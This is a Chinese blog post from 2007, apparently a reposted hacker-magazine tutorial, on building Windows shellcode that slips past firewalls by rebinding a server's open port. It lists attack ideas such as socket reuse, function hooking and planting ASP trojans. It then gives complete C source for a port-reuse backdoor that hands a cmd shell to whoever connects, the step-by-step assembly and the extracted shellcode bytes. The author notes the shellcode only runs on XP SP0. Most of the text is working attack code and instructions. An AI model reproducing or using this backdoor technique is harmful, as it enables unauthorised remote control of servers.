現(xiàn)在網(wǎng)絡(luò)上獲得控制臺的ShellCode要么是在目標機上開一個端口,等待攻擊者連接;要么是讓目標機主動連接攻擊者的主機,俗稱反向連接。但前種方法一般都會被防火墻擋住,而后者反連不但需要攻擊者有一個公網(wǎng)IP,而且也會被目標機端禁止外連訪問的防火墻擋掉。那有沒有更好的辦法呢?
第一種方法就是復(fù)用攻擊時的Socket。我們在給目標機發(fā)送攻擊字符串的時候,就使用了Socket,如果還存在,我們把它找到并回收利用。ShellCode完成的功能是查找進程中所有的Socket并依次判斷,如果是那個發(fā)送攻擊字符串的Socket,就使用它來傳文件,開后門等等。
第二種方法是復(fù)用端口。作為服務(wù)器,防火墻總會打開提高服務(wù)所需要的端口,比如FTP的21端口,IIS的80端口等。我們在ShellCode中復(fù)用這些防火墻打開的端口,并完成自己想要的功能。
第三種方法是終止掉目標機上的FTP或IIS等服務(wù),然后再占用21、80等端口。這種方法在法二失敗的情況下可以使用。
還有其它的一些方法,比如紅色代碼蠕蟲使用的Hook技術(shù),它是把TcpSockSend函數(shù)替換掉,這樣發(fā)給任何客戶的信息都是“Hacker by Chinese”,我們也可以把接收函數(shù)Recv函數(shù)Hook掉,保證即執(zhí)行攻擊者發(fā)過去的命令,又不影響正常的服務(wù)。
另外還可以查找Socket,把所有的Socket都綁定一個DOS Shell;如果知道網(wǎng)站的物理路徑,還可以由ShellCode直接創(chuàng)建一個ASP木馬!當然還可以添加用戶,創(chuàng)建虛擬映射盤,直接寫一個EXE的木馬并執(zhí)行等……方法很多,要用發(fā)散性的思維考慮!只要想的到,不要管做得到做不到!
不管做得到做不到?這些思路都可以實現(xiàn)嗎?其實在《Windows下ShellCode編寫初步》一文中已經(jīng)講過,ShellCode就是一段代碼的機器碼形式,所以只要ShellCode不要太長,并符合特殊字符的規(guī)劃,運行起來是不會有問題的。來個實際的編寫例子吧,這里就以第二種思路――復(fù)用端口,來講解突破防火墻ShellCode的實現(xiàn)。
C實現(xiàn)重用端口
一般情況下,已經(jīng)綁定的端口是不能再次被綁定的,但可以使用Setsockopt函數(shù)來改變這一點。Setsockopt函數(shù)原型如下,
int setsockopt(
SOCKET s,
int level,
int optname,
const char* optval,
int optlen
);
第一個參數(shù)為要改變的Socket標志符,第二個參數(shù)為選項的等級,第三個參數(shù)就是要改成的選項名了,第四第五個參數(shù)為請求值緩沖區(qū)的指針和大小。具體實現(xiàn)時,把第三個參數(shù)設(shè)為SO_REUSEADDR,就可以重用已綁定的端口了。代碼如下:
BOOL val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)
其它的和一般的后門編寫就一樣了。怎么樣,很簡單吧?
WTF:該方法只有在原來的程序沒有使用SO_EXCLUSIVEADDRUSE選項來綁定端口的情況下,才能使用SO_REUSEADDR成功。如果使用了SO_EXCLUSIVEADDRUSE選項,就只能用其它的方法綁定端口了。
Telnet后門的編寫
端口可以重用之后,總要加點功能來顯示這種方法的優(yōu)劣吧?空說復(fù)用端口好有什么用呢?所以再加上一個大家都看得見的功能:給連接端口的客戶開一個遠程的Shell。
開遠程的Shell比較簡單,用CreateProcess函數(shù)建立CMD進程,并把進程的輸入輸出和錯誤句柄都換成我們的Socket就可以了。注意這里的Socket要用WSASocket函數(shù)建立才能這樣替換,而用Socket函數(shù)建立的就只能用管道來通信了。這些不在本文的討論之內(nèi),大家可以參看以前和將來的黑防,都會有講的。
C實現(xiàn)的程序如下。
int main()
{
WSADATA ws;
SOCKET listenFD;
int ret;
//初始化wsa
WSAStartup(MAKEWORD(2,2),&ws);
//注意要用WSASocket
listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
//設(shè)置套接字選項,SO_REUSEADDR選項就是可以實現(xiàn)端口重綁定的
//但如果指定了SO_EXCLUSIVEADDRUSE,就不會綁定成功
BOOL val = TRUE;
setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) );
//監(jiān)聽本機21端口
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客戶請求21端口,接受連接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//設(shè)置為輸入輸出句柄為Socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd";
PROCESS_INFORMATION ProcessInformation;
//建立進程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
return 0;
}
測試一下,先安裝一個Serv_U FTP服務(wù)器,那么它會打開21端口。如果Telnet 21端口,就會得到Serv_U的Banner,如下圖1所示。

圖1
現(xiàn)在執(zhí)行我們的程序,就會重新綁定21端口。用Netstat –an查看,會發(fā)現(xiàn)有兩個21端口在監(jiān)聽,一個的IP是0.0.0.0,一個是127.0.0.1。如圖2所示。

圖2
現(xiàn)在再Telnet 21端口,這次得到的是Shell!哈哈,沒錯,我們的程序搶掉了Serv_U用的21端口,突破成功!如圖3所示。

圖3
匯編的編寫
C程序代碼成功實現(xiàn)后,就要把它變?yōu)橛蠸hellCode特點的匯編了。
《打造Windows下自己的ShellCode》一文中分析過,Windows下函數(shù)的調(diào)用是先將參數(shù)從右到左入棧,然后Call 函數(shù)的地址,所以首先要找出所有函數(shù)的地址并記下來。
我寫了個“FindAddress.cpp”,來查找這次所有要用的函數(shù)地址。先LoadLibrary函數(shù)所在的Dll,再GetProcAddress函數(shù)名,最后打印出得到的地址。以后要查找其它函數(shù)地址時,只要更改LoadLibrary和GetProcAddress參數(shù)里的Dll名和函數(shù)名就可以了。
在我的系統(tǒng)XP sp0下,執(zhí)行的效果如下圖4所示。

圖4
在匯編代碼中,把找出來的函數(shù)地址保存下來,以備后用。這里用的是固定的API函數(shù)地址,以后介紹了動態(tài)獲取函數(shù)地址后,只需要加上動態(tài)查找那部分,而后面部分可以保持不動就繼續(xù)使用了。這也算是一種工程的思想吧。
地址找到后,開始實現(xiàn)每個函數(shù),函數(shù)實現(xiàn)完畢,匯編就寫出來了。
第一個是WSAStartup(MAKEWORD(2,2),&ws), 隨便減Esp 0x200,將Esp作為WS的地址,而MAKEWORD(2,2)就是0x202,所以直接Push 0x202就可以了。匯編實現(xiàn)如下:
sub esp, 0x200
push esp //第二個參數(shù)&wsa
push 0x202 //第一個參數(shù)0x202
call dword ptr [ebp + 0x8] //[ebp+0x8]中存著WSAStartup的地址,執(zhí)行
add esp, 0x200
第二個是執(zhí)行WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0),這有點麻煩,那些參數(shù)值是多少呢?一種方法點右鍵,選擇“goto 定義”,就可以找到對應(yīng)的值,但遇到參數(shù)比較多的時候就比較慢;另一種方法,借用寫好的C程序,按F10進入調(diào)試,按Debug工具欄上的Disassemble按鈕,就出現(xiàn)了對應(yīng)的匯編代碼。如下圖5所示。

圖5
看,對應(yīng)的值不就出來了嗎?我們只要仿照著,依次Push 0 0 0 6 1 2,再Call WSASocketA函數(shù)的地址就行了。以前說過,WSASocketA函數(shù)執(zhí)行完后,EAX會存放函數(shù)的返回值,所以這里的EAX就是建立的Socket,我們把它保存在Ebx中,在后面會使用。
mov ebx, eax ; save Socket to ebx
下一句是“setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val) )”,用同樣的方法,就會知道Sizeof(val)=4,SO_REUSEADDR為4,SOL_SOCKET為0FFFFh。那第四個參數(shù)(char *)&val怎么表示呢?
其實Val=true,就是0x00000001,那么&val就是0x00000001的地址,我們在堆棧中構(gòu)造出0x00000001,把它的地址當參數(shù)就可以了。
mov eax, 0x00000001
push eax
mov esi, esp ;這樣把&val存在esi中。
再執(zhí)行Setsockopt就是:
push 4 //第五個參數(shù)sizeof(val)=4
push esi //第四個參數(shù)&val
push 4 //第三個參數(shù)SO_REUSEADDR
push 0FFFFh //第二個參數(shù)SOL_SOCKET
push ebx //第一個參數(shù),WSASocket建立的Socket
Call dword ptr [ebp+0x16]//[ebp+0x16]中存著setsockopt的地址,執(zhí)行
OK!瞬間完成了一半的工作量,看著匯編一段一段的寫好,真是件愜意的事啊!
好了,該第四個函數(shù)了:“bind(listenFD,(sockaddr *)&server,sizeof(server));”,方法同上,第二個參數(shù)&server是一個sockaddr_in結(jié)構(gòu)的地址,而且里面還有對端口、地址的設(shè)置,就是這三句:
server.sin_family = AF_INET;
server.sin_port = htons(21);
server.sin_addr.s_addr = inet_addr("127.0.0.1");
怎么轉(zhuǎn)換比較簡單呢?還是借助C程序的調(diào)試過程!在調(diào)試時,從Debug工具欄上調(diào)出Memory窗口,輸入Server,就可以看到Server這個結(jié)構(gòu)的值,在賦值完畢之后,變成02 00 00 15 7F 00 00 01,如下圖6所示。

圖6
而且通過這個過程還知道,第一個0002是AF_INET,1500是htons(21),最后的0100007F是Inet_addr(“127.0.0.1”)得到的值。我們就依著葫蘆畫瓢,模仿著構(gòu)造出Server的值,并把地址給Esi保存,代碼如下:
push 0x0100007F
push 0x15000002
mov esi,esp //構(gòu)造server的值,并把地址賦給esi
有了Server參數(shù)后,就可以執(zhí)行Bind函數(shù)了:
push 10h //第三個參數(shù)sizeof(server)=10h
push esi //第二個參數(shù)server的地址
push ebx //第一個參數(shù)Socket
call dword ptr [ebp+0x20] //[ebp+0x20]中存著bind的地址,執(zhí)行
那接下來的Listen(listenFD,2)就太簡單了,實現(xiàn)如下:
push 2; //第二個參數(shù)2
push ebx; //第一個參數(shù)Socket
call dword ptr [ebp+0x24]; //[ebp+0x24]中存著listen的地址,執(zhí)行
隨后的Accept(listenFD,(sockaddr *)&server,&iAddrSize)也能輕松搞定,為:
push 10h //構(gòu)造iAddrSize,地址為esp
push esp //第三個參數(shù)&iAddrSize
push esi //第二個參數(shù)&server
push ebx //第一個參數(shù)Socket
call dword ptr [ebp+0x28] //[ebp+0x28]中存著accept的地址,執(zhí)行
當然,因為后面要用到Accept后產(chǎn)生的Socket,所以把它保存在Ebx中。
mov ebx, eax //把新Socket保存在ebx中
這樣就到了最關(guān)鍵的決定成敗的最終BOSS:“CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);”。哇,大概看一看,好多參數(shù),真嚇人!但仔細一看,原來是紙老虎,參數(shù)基本上都是0和1,要構(gòu)造的只有三個,那就簡單了。
0和1就不說了,直接Push就可以了,&ProcessInformation最簡單,因為不用賦初值,隨便找個不用的地址就可以了,CmdLine也好解決,“cmd” 就是63 6d 64 00,構(gòu)造在Ebp+0x32中,把Ebp+0x32的地址當參數(shù)壓就可以了。只剩下&si了,對它的賦值有幾句話,
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//設(shè)置為輸入輸出句柄為Socket
si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
就是先清零,再設(shè)置Flag和句柄。我們在調(diào)試過程中,仔細地、慢慢地、溫柔地數(shù),最后可以知道Si+2ch的地方為Flag地址,“Si+38h Si+3ch Si+40h”的地方為輸入輸出和錯誤句柄。那么在匯編中構(gòu)造Si就是:
lea edi,[esp];
mov word ptr [edi+2ch], 0x0101; //si.dwFlags =0x0101
mov [edi+38h],ebx; //si.hStdInput
mov [edi+3ch],ebx; //si.hStdOutput
mov [edi+40h],ebx; //si.hStdError = Socket
實現(xiàn)CreateProcess如下:
//暫存cmd.exe字符串于ebp+0x32中
mov dword ptr [ebp+0x32],0x00646d63;
lea eax,[esp+0x44]
push eax //最后一個參數(shù)&ProcessInformation
push edi //&si
push 0 //0
push 0 //0
push 0 //0
push 1 //1
push 0 //0
push 0 //0
lea eax,[ebp+0x32]
push eax //"cmd"
push 0 //0
call [ebp+0x4] //[ebp+0x4]中存著CreateProcessA的地址,執(zhí)行
ShellCode的獲取和驗證
好了,把匯編連起來,得到“ReBindASM.cpp”驗證一下,呵呵,還是成功。如圖7所示。

圖7
有一個出錯對話框——當然了,我們的Esp ebp都被覆蓋了,當然會出錯。感興趣的讀者可以自己下去把它們恢復(fù)一下。剩下我們最感興趣的ShellCode的提取了。
《打造Windows下自己的ShellCode》中講過,在得到匯編后,可以進行調(diào)試,然后把匯編對應(yīng)的機器碼一個一個的抄下來。這里當然也可以這樣,但代碼太多了,一個個的抄也太郁悶了吧……我們換個方法。
進入調(diào)試,在調(diào)試進入我們的匯編時,在Memory窗口中輸入Eip,這樣出現(xiàn)的就是我們ShellCode在內(nèi)存中的值,如下圖8所示。

圖8
這下簡單了,把ShellCode從開始到結(jié)束粘貼下來,刪掉多于的字符,把空格替換成’\x’,就得到重用端口,突破防火墻的ShellCode如下:
char ShellCode[] =
"\x55\x83\xEC\x40\x8B\xEC\xC7\x45\x04\xB8\x1B\xE4\x77\xC7\x45\x08\xDA\x41\xA2\x71\xC7\x45\x12\x01\x5A\xA2\x71"
"\xC7\x45\x16\x8D\x3F\xA2\x71\xC7\x45\x20\xCE\x3E\xA2\x71\xC7\x45\x24\xE2\x5D\xA2\x71\xC7\x45\x28\x8D\x86\xA2"
"\x71\x81\xEC\x00\x02\x00\x00\x54\x68\x02\x02\x00\x00\xFF\x55\x08\x81\xC4\x00\x02\x00\x00\x6A\x00\x6A\x00\x6A"
"\x00\x6A\x06\x6A\x01\x6A\x02\xFF\x55\x12\x8B\xD8\xB8\x01\x00\x00\x00\x50\x8B\xF4\x6A\x04\x56\x6A\x04\x68\xFF"
"\xFF\x00\x00\x53\xFF\x55\x16\x68\x7F\x00\x00\x01\x68\x02\x00\x00\x15\x8B\xF4\x6A\x10\x56\x53\xFF\x55\x20\x6A"
"\x02\x53\xFF\x55\x24\x6A\x10\x54\x56\x53\xFF\x55\x28\x8B\xD8\x81\xEC\x80\x00\x00\x00\x8D\x3C\x24\x33\xC0\x68"
"\x80\x00\x00\x00\x59\xF3\xAA\x8D\x3C\x24\x66\xC7\x47\x2C\x01\x01\x89\x5F\x38\x89\x5F\x3C\x89\x5F\x40\xC7\x45"
"\x32\x63\x6D\x64\x00\x8D\x44\x24\x44\x50\x57\x6A\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x00\x6A\x00\x8D\x45\x32\x50"
"\x6A\x00\xFF\x55\x04";
在Main函數(shù)里面,嵌入如下代碼就可以將ShellCode當成函數(shù)執(zhí)行:
lea eax, ShellCode;
call eax
測試一下,哈哈,還是成功了。如圖9所示。

圖9
這樣我們就親自打造出了一個ShellCode,而且這個ShellCode在外面是絕對找不到的哦,呵呵,知道為什么嗎?因為這個ShellCode根本不能用啊!(豆大的汗珠從WTF后腦勺上滴下……)一是因為使用的是XP SP0的函數(shù)絕對地址,只能在XP SP0下用,如果是2000,或者XP的另外版本,都會失敗;二是綁定的是127.0.0.1,其實需要對方的實際IP地址。要解決這兩個問題,一是需要動態(tài)的獲得函數(shù)地址,來把我們這個ShellCode改為通用的;二是加入對方IP和端口的定制,這樣打造出的才是完美的ShellCode
posted on 2007-07-22 03:22
聶文龍 閱讀(839)
評論(1) 編輯 收藏 引用 所屬分類:
c++